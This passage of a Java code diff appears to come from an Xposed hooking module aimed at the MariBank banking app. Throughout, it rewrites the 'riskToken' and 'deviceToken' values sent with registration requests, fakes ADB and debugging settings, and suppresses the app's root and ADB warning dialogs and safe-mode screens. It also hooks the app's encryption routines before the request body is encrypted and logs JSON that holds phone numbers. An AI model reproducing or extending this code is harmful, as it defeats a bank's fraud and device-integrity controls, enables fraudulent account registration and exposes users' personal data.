findClassSafe(cl, "okio.Buffer"));
|
||||
XposedHelpers.callMethod(body, "writeTo", buffer);
|
||||
String content = (String) XposedHelpers.callMethod(buffer, "readUtf8");
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(content);
|
||||
if (!sanitized.equals(content)) {
|
||||
Object mediaType = XposedHelpers.callMethod(body, "contentType");
|
||||
param.setResult(XposedHelpers.callStaticMethod(
|
||||
XposedHelpers.findClass("okhttp3.RequestBody", lpparam.classLoader),
|
||||
"create",
|
||||
mediaType,
|
||||
sanitized));
|
||||
XposedBridge.log(TAG + " GsonRequestBodyConverter riskToken sanitized");
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip GsonRequestBodyConverter: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 出站 body 写入 okio.Buffer 时净化 riskToken(不 Hook proceed)。 */
|
||||
private static void hookOkioBufferWrite(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook sanitizeHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (param.args.length == 0 || !(param.args[0] instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String s = (String) param.args[0];
|
||||
if (!s.contains("|")) {
|
||||
return;
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(s);
|
||||
if (!sanitized.equals(s)) {
|
||||
param.args[0] = sanitized;
|
||||
XposedBridge.log(TAG + " okio.Buffer write riskToken sanitized");
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
Class<?> bufferClass = findClassSafe(lpparam.classLoader, "okio.Buffer");
|
||||
XposedHelpers.findAndHookMethod(
|
||||
bufferClass, "writeUtf8", String.class, sanitizeHook);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip okio.Buffer.writeUtf8: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
Class<?> bufferClass = findClassSafe(lpparam.classLoader, "okio.Buffer");
|
||||
XposedHelpers.findAndHookMethod(
|
||||
bufferClass, "writeString",
|
||||
String.class, java.nio.charset.Charset.class, sanitizeHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
Class<?> bufferClass = findClassSafe(lpparam.classLoader, "okio.Buffer");
|
||||
XposedHelpers.findAndHookMethod(
|
||||
bufferClass, "write",
|
||||
byte[].class, int.class, int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
byte[] data = (byte[]) param.args[0];
|
||||
int off = (int) param.args[1];
|
||||
int len = (int) param.args[2];
|
||||
byte[] sanitized = MariBankRiskTokenUtil.sanitizeBytes(data, off, len);
|
||||
if (sanitized != data) {
|
||||
param.args[0] = sanitized;
|
||||
param.args[1] = 0;
|
||||
param.args[2] = sanitized.length;
|
||||
XposedBridge.log(TAG + " okio.Buffer write bytes riskToken sanitized");
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
/** Retrofit 常用 byte[] RequestBody。 */
|
||||
private static void hookOutgoingRequestBytes(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook byteHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
if (!(param.args[i] instanceof byte[])) {
|
||||
continue;
|
||||
}
|
||||
byte[] data = (byte[]) param.args[i];
|
||||
byte[] sanitized = MariBankRiskTokenUtil.sanitizeBytes(data, 0, data.length);
|
||||
if (sanitized != data) {
|
||||
param.args[i] = sanitized;
|
||||
XposedBridge.log(TAG + " outbound RequestBody bytes riskToken sanitized");
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.RequestBody",
|
||||
lpparam.classLoader,
|
||||
"create",
|
||||
"okhttp3.MediaType",
|
||||
byte[].class,
|
||||
byteHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.RequestBody",
|
||||
lpparam.classLoader,
|
||||
"create",
|
||||
byte[].class,
|
||||
"okhttp3.MediaType",
|
||||
byteHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookOkHttpResponseUrl(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.Response",
|
||||
lpparam.classLoader,
|
||||
"body",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object request = XposedHelpers.callMethod(param.thisObject, "request");
|
||||
Object url = XposedHelpers.callMethod(request, "url");
|
||||
if (url != null) {
|
||||
CURRENT_REQUEST_URL.set(String.valueOf(url));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip okhttp Response.body url: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 出站 JSON 请求体:注册接口 /uapi/v2/register 会携带 riskToken。 */
|
||||
private static void hookOutgoingRequestBody(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook sanitizeHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
if (param.args[i] instanceof String) {
|
||||
String body = (String) param.args[i];
|
||||
if (body.contains("riskToken") && body.contains("|")) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(body);
|
||||
if (!sanitized.equals(body)) {
|
||||
param.args[i] = sanitized;
|
||||
XposedBridge.log(TAG + " outbound RequestBody riskToken sanitized");
|
||||
}
|
||||
} else if (body.contains("deviceToken") && body.contains("|")) {
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(body);
|
||||
if (!sanitized.equals(body)) {
|
||||
param.args[i] = sanitized;
|
||||
XposedBridge.log(TAG + " outbound RequestBody deviceToken sanitized");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
String[][] createSigs = {
|
||||
{"okhttp3.MediaType", "java.lang.String"},
|
||||
{"java.lang.String", "okhttp3.MediaType"},
|
||||
};
|
||||
for (String[] sig : createSigs) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.RequestBody",
|
||||
lpparam.classLoader,
|
||||
"create",
|
||||
sig[0],
|
||||
sig[1],
|
||||
sanitizeHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookGsonRiskToken(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook gsonHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!(param.getResult() instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String json = (String) param.getResult();
|
||||
if (json.contains("mobileNo") || json.contains("phoneNo")) {
|
||||
int show = Math.min(json.length(), 500);
|
||||
XposedBridge.log(TAG + " Gson.toJson mobile: "
|
||||
+ json.substring(0, show)
|
||||
+ (json.length() > show ? "..." : ""));
|
||||
}
|
||||
if (!json.contains("riskToken") && !json.contains("deviceToken")) {
|
||||
return;
|
||||
}
|
||||
String sanitized = MariBankRiskTokenUtil.sanitizeAllInText(json);
|
||||
if (!sanitized.equals(json)) {
|
||||
param.setResult(sanitized);
|
||||
XposedBridge.log(TAG + " Gson.toJson riskToken sanitized");
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"toJson",
|
||||
Object.class,
|
||||
gsonHook);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip Gson.toJson: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"toJson",
|
||||
Object.class,
|
||||
"java.lang.reflect.Type",
|
||||
gsonHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookJsonRiskTokenPut(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"org.json.JSONObject",
|
||||
lpparam.classLoader,
|
||||
"put",
|
||||
String.class,
|
||||
Object.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (!"riskToken".equals(param.args[0]) && !"deviceToken".equals(param.args[0])) {
|
||||
return;
|
||||
}
|
||||
if (!(param.args[1] instanceof String)) {
|
||||
return;
|
||||
}
|
||||
param.args[1] = MariBankRiskTokenUtil.sanitizeRiskToken((String) param.args[1]);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip JSONObject.put riskToken: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** SG:ADB / 无线调试检测 + Root 弹窗/Toast/全屏页拦截。 */
|
||||
private static void hookAdbBypass(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
hookAdbSettings(lpparam);
|
||||
hookAdbActivityEscape(lpparam);
|
||||
}
|
||||
|
||||
private static void hookAdbSettings(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook fakeDisabled = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (param.args.length < 2 || !(param.args[1] instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String key = (String) param.args[1];
|
||||
if (!isAdbSettingKey(key)) {
|
||||
return;
|
||||
}
|
||||
Class<?> ret = ((Method) param.method).getReturnType();
|
||||
if (ret == int.class || ret == Integer.class) {
|
||||
param.setResult(0);
|
||||
} else if (ret == long.class || ret == Long.class) {
|
||||
param.setResult(0L);
|
||||
} else if (ret == String.class) {
|
||||
param.setResult("0");
|
||||
}
|
||||
XposedBridge.log(TAG + " faked Settings key=" + key);
|
||||
}
|
||||
};
|
||||
|
||||
String[][] targets = {
|
||||
{"android.provider.Settings$Global", "getInt"},
|
||||
{"android.provider.Settings$Global", "getLong"},
|
||||
{"android.provider.Settings$Global", "getString"},
|
||||
{"android.provider.Settings$Secure", "getInt"},
|
||||
{"android.provider.Settings$Secure", "getString"},
|
||||
{"android.provider.Settings$System", "getInt"},
|
||||
};
|
||||
for (String[] target : targets) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(target[0], lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!target[1].equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
Class<?>[] params = method.getParameterTypes();
|
||||
if (params.length >= 2 && ContentResolver.class.isAssignableFrom(params[0])
|
||||
&& params[1] == String.class) {
|
||||
XposedBridge.hookMethod(method, fakeDisabled);
|
||||
}
|
||||
}
|
||||
// getInt(cr, key, def) — 部分 SDK 走三参数重载
|
||||
if ("getInt".equals(target[1])) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
clazz,
|
||||
"getInt",
|
||||
ContentResolver.class,
|
||||
String.class,
|
||||
int.class,
|
||||
fakeDisabled);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip Settings hook " + target[0] + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** 若全屏/RN 页已展示 ADB 拦截文案,直接 finish 退出该 Activity。 */
|
||||
private static void hookAdbActivityEscape(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class,
|
||||
"onResume",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
if (activity == null || activity.isFinishing()) {
|
||||
return;
|
||||
}
|
||||
String name = activity.getClass().getName();
|
||||
if (name.contains("SafeModeRecoverActivity")) {
|
||||
return;
|
||||
}
|
||||
String text = extractActivityText(activity);
|
||||
if (isAdbBlockText(text)) {
|
||||
XposedBridge.log(TAG + " finish adb block activity: " + name);
|
||||
activity.finish();
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " adb activity hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String extractActivityText(Activity activity) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
try {
|
||||
CharSequence title = activity.getTitle();
|
||||
if (title != null) {
|
||||
sb.append(title);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (activity.getWindow() != null) {
|
||||
collectTextViews(activity.getWindow().getDecorView(), sb);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static boolean isAdbSettingKey(String key) {
|
||||
if (key == null) {
|
||||
return false;
|
||||
}
|
||||
String lower = key.toLowerCase();
|
||||
return lower.contains("adb")
|
||||
|| "development_settings_enabled".equals(lower)
|
||||
|| lower.contains("wireless_debug");
|
||||
}
|
||||
|
||||
private static boolean isAdbBlockText(String text) {
|
||||
if (text == null || text.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = text.toLowerCase();
|
||||
return lower.contains("adb/wireless adb")
|
||||
|| lower.contains("wireless adb detected")
|
||||
|| lower.contains("usb debugging")
|
||||
|| lower.contains("wireless debugging")
|
||||
|| lower.contains("turn off adb")
|
||||
|| lower.contains("third parties to access")
|
||||
|| lower.contains("safeguard your banking")
|
||||
|| (lower.contains("adb") && lower.contains("detect"));
|
||||
}
|
||||
|
||||
private static boolean isEnvironmentBlockText(String text) {
|
||||
return isRootBlockText(text) || isAdbBlockText(text);
|
||||
}
|
||||
|
||||
private static void hookSafeModeDialog(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.shopee.bke.lib.safemode.activity.SafeModeRecoverActivity",
|
||||
lpparam.classLoader,
|
||||
"onCreate",
|
||||
"android.os.Bundle",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedHelpers.callMethod(param.thisObject, "finish");
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
/** 拦截 Root/Hook/模拟器 警告弹窗与 Toast(文案见 bke_toast_not_support_*)。 */
|
||||
private static void hookRootDialogBlock(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook blankRootTextHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (param.args.length > 0 && isEnvironmentBlockText(String.valueOf(param.args[0]))) {
|
||||
param.args[0] = " ";
|
||||
XposedBridge.log(TAG + " blanked env block dialog message");
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
String[] messageSetters = {
|
||||
"android.app.AlertDialog$Builder",
|
||||
"androidx.appcompat.app.AlertDialog$Builder",
|
||||
"com.shopee.bke.lib.commonui.widget.CommonDialog$Builder",
|
||||
};
|
||||
for (String className : messageSetters) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className, lpparam.classLoader, "setMessage", CharSequence.class, blankRootTextHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className, lpparam.classLoader, "setTitle", CharSequence.class, blankRootTextHook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Resources.class,
|
||||
"getString",
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String s = (String) param.getResult();
|
||||
if (isEnvironmentBlockText(s)) {
|
||||
param.setResult(" ");
|
||||
XposedBridge.log(TAG + " blanked env block string resource");
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " getString hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Dialog.class,
|
||||
"show",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Dialog dialog = (Dialog) param.thisObject;
|
||||
if (isEnvironmentBlockText(extractDialogText(dialog))) {
|
||||
XposedBridge.log(TAG + " blocked env Dialog.show: "
|
||||
+ dialog.getClass().getSimpleName());
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Dialog.show hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Toast.class,
|
||||
"show",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String text = extractToastText((Toast) param.thisObject);
|
||||
if (isSecurityBlockText(text)) {
|
||||
XposedBridge.log(TAG + " security block Toast: " + text);
|
||||
logBriefStack();
|
||||
}
|
||||
if (isRootBlockText(text)) {
|
||||
XposedBridge.log(TAG + " blocked root Toast.show");
|
||||
param.setResult(null);
|
||||
} else if (isAdbBlockText(text)) {
|
||||
XposedBridge.log(TAG + " blocked adb Toast.show");
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Toast.show hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isRootBlockText(String text) {
|
||||
if (text == null || text.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = text.toLowerCase();
|
||||
return lower.contains("rooted or jailbroken")
|
||||
|| lower.contains("modified device")
|
||||
|| lower.contains("magisk/xposed/frida")
|
||||
|| lower.contains("cannot be accessed on such devices")
|
||||
|| lower.contains("restore to factory settings")
|
||||
|| lower.contains("does not support root")
|
||||
|| lower.contains("support root device");
|
||||
}
|
||||
|
||||
private static boolean isSecurityBlockText(String text) {
|
||||
if (text == null || text.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = text.toLowerCase();
|
||||
return lower.contains("temporarily blocked")
|
||||
|| lower.contains("8424 8050");
|
||||
}
|
||||
|
||||
private static void logBriefStack() {
|
||||
StackTraceElement[] stack = Thread.currentThread().getStackTrace();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int n = 0;
|
||||
for (StackTraceElement frame : stack) {
|
||||
String cn = frame.getClassName();
|
||||
if (cn.contains("miraclegarden") || cn.contains("lsposed") || cn.contains("XposedBridge")) {
|
||||
continue;
|
||||
}
|
||||
if (cn.startsWith("android.widget.") || cn.startsWith("android.view.")) {
|
||||
continue;
|
||||
}
|
||||
sb.append("\n at ").append(cn).append(".").append(frame.getMethodName());
|
||||
if (++n >= 10) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
XposedBridge.log(TAG + " stack:" + sb);
|
||||
}
|
||||
|
||||
private static String extractDialogText(Dialog dialog) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
try {
|
||||
Object alert = XposedHelpers.getObjectField(dialog, "mAlert");
|
||||
if (alert != null) {
|
||||
appendFieldText(sb, alert, "mMessage");
|
||||
appendFieldText(sb, alert, "mTitle");
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (dialog.getWindow() != null) {
|
||||
collectTextViews(dialog.getWindow().getDecorView(), sb);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static void appendFieldText(StringBuilder sb, Object target, String field) {
|
||||
try {
|
||||
Object value = XposedHelpers.getObjectField(target, field);
|
||||
if (value != null) {
|
||||
sb.append(value);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void collectTextViews(View view, StringBuilder sb) {
|
||||
if (view instanceof TextView) {
|
||||
CharSequence text = ((TextView) view).getText();
|
||||
if (text != null) {
|
||||
sb.append(text);
|
||||
}
|
||||
}
|
||||
if (view instanceof ViewGroup) {
|
||||
ViewGroup group = (ViewGroup) view;
|
||||
for (int i = 0; i < group.getChildCount(); i++) {
|
||||
collectTextViews(group.getChildAt(i), sb);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String extractToastText(Toast toast) {
|
||||
try {
|
||||
View view = toast.getView();
|
||||
if (view instanceof TextView) {
|
||||
CharSequence text = ((TextView) view).getText();
|
||||
return text != null ? text.toString() : "";
|
||||
}
|
||||
if (view instanceof ViewGroup) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
collectTextViews(view, sb);
|
||||
return sb.toString();
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
Object text = XposedHelpers.getObjectField(toast, "mText");
|
||||
return text != null ? text.toString() : "";
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return "";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,313 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* register body 加密前 Hook:{@code com.shopee.bke.lib.jni.utils.d} / {@code uvwuvwuv}。
|
||||
* 勿 Hook {@code utils.f}(SoUtils),否则会 libsdkutils 白屏。
|
||||
*/
|
||||
public final class MariBankSdkUtilsHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankEncrypt";
|
||||
private static final String WRAPPER = "com.shopee.bke.lib.jni.utils.d";
|
||||
private static final String NATIVE_ENCRYPT = "com.shopee.bke.lib.jni.utils.uvwuvwuv";
|
||||
private static final String SG_ENCRYPT_HELPER = "com.shopee.bke.lib.jni.utils.uvwwwwuv";
|
||||
|
||||
private static volatile boolean encryptHooksInstalled = false;
|
||||
private static volatile boolean gsonHookInstalled = false;
|
||||
private static volatile boolean encryptLoadClassWatcherInstalled = false;
|
||||
private static volatile String installedForPackage;
|
||||
|
||||
private MariBankSdkUtilsHook() {
|
||||
}
|
||||
|
||||
/** BkeApplication.onCreate 之后安装(libsdkutils 已加载)。 */
|
||||
public static int installLate(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
installEncryptLoadClassWatcher(lpparam);
|
||||
if (encryptHooksInstalled && lpparam.packageName.equals(installedForPackage)) {
|
||||
return 0;
|
||||
}
|
||||
int n = 0;
|
||||
if (MariBankRegionProfile.hasEncryptWrapperD(lpparam.packageName)) {
|
||||
n += hookEncryptWrapper(lpparam);
|
||||
}
|
||||
n += hookNativeEncryptUtils(lpparam);
|
||||
if (MariBankRegionProfile.hasEncryptHelperUvwwwwuv(lpparam.packageName)) {
|
||||
n += hookEncryptHelperClass(lpparam, SG_ENCRYPT_HELPER, "uvwwwwuv");
|
||||
}
|
||||
if (n > 0) {
|
||||
encryptHooksInstalled = true;
|
||||
installedForPackage = lpparam.packageName;
|
||||
}
|
||||
if (!gsonHookInstalled) {
|
||||
int g = hookGsonRegister(lpparam);
|
||||
if (g > 0) {
|
||||
gsonHookInstalled = true;
|
||||
n += g;
|
||||
}
|
||||
}
|
||||
if (n > 0) {
|
||||
XposedBridge.log(TAG + " late encrypt hooks=" + n + " region="
|
||||
+ MariBankRegionProfile.label(lpparam.packageName));
|
||||
}
|
||||
return n;
|
||||
}
|
||||
|
||||
private static void installEncryptLoadClassWatcher(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (encryptLoadClassWatcherInstalled) {
|
||||
return;
|
||||
}
|
||||
encryptLoadClassWatcherInstalled = true;
|
||||
final String pkg = lpparam.packageName;
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
ClassLoader.class,
|
||||
"loadClass",
|
||||
String.class,
|
||||
boolean.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.getThrowable() != null) {
|
||||
return;
|
||||
}
|
||||
String name = (String) param.args[0];
|
||||
if (NATIVE_ENCRYPT.equals(name)
|
||||
|| SG_ENCRYPT_HELPER.equals(name)
|
||||
|| (MariBankRegionProfile.hasEncryptWrapperD(pkg)
|
||||
&& WRAPPER.equals(name))) {
|
||||
installLate(lpparam);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " ClassLoader encrypt watcher OK");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip encrypt ClassLoader watcher: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static int hookEncryptHelperClass(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, String className, String logLabel) {
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " >> " + logLabel + "." + method.getName());
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
Object sanitized = sanitizeArg(param.args[i]);
|
||||
if (sanitized != param.args[i]) {
|
||||
param.args[i] = sanitized;
|
||||
}
|
||||
logArg(" in" + i, param.args[i]);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (result instanceof byte[]) {
|
||||
logArg(" out", result);
|
||||
} else if (result instanceof String) {
|
||||
logArg(" out", result);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
if (count > 0) {
|
||||
XposedBridge.log(TAG + " hooked " + logLabel + " methods=" + count);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + logLabel + ": " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static int hookEncryptWrapper(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(WRAPPER, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String name = method.getName();
|
||||
XposedBridge.log(TAG + " >> utils.d." + name);
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
Object sanitized = sanitizeArg(param.args[i]);
|
||||
if (sanitized != param.args[i]) {
|
||||
param.args[i] = sanitized;
|
||||
}
|
||||
logArg(" in" + i, param.args[i]);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (result == null) {
|
||||
return;
|
||||
}
|
||||
if (result instanceof String[]) {
|
||||
for (int i = 0; i < ((String[]) result).length; i++) {
|
||||
logArg(" out" + i, ((String[]) result)[i]);
|
||||
}
|
||||
} else if (result instanceof byte[]) {
|
||||
logArg(" out", result);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
if (count > 0) {
|
||||
XposedBridge.log(TAG + " hooked utils.d methods=" + count);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip utils.d: " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
private static int hookNativeEncryptUtils(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(NATIVE_ENCRYPT, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (!Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
XposedBridge.log(TAG + " >> uvwuvwuv." + method.getName());
|
||||
for (int i = 0; i < param.args.length; i++) {
|
||||
Object sanitized = sanitizeArg(param.args[i]);
|
||||
if (sanitized != param.args[i]) {
|
||||
param.args[i] = sanitized;
|
||||
}
|
||||
logArg(" in" + i, param.args[i]);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
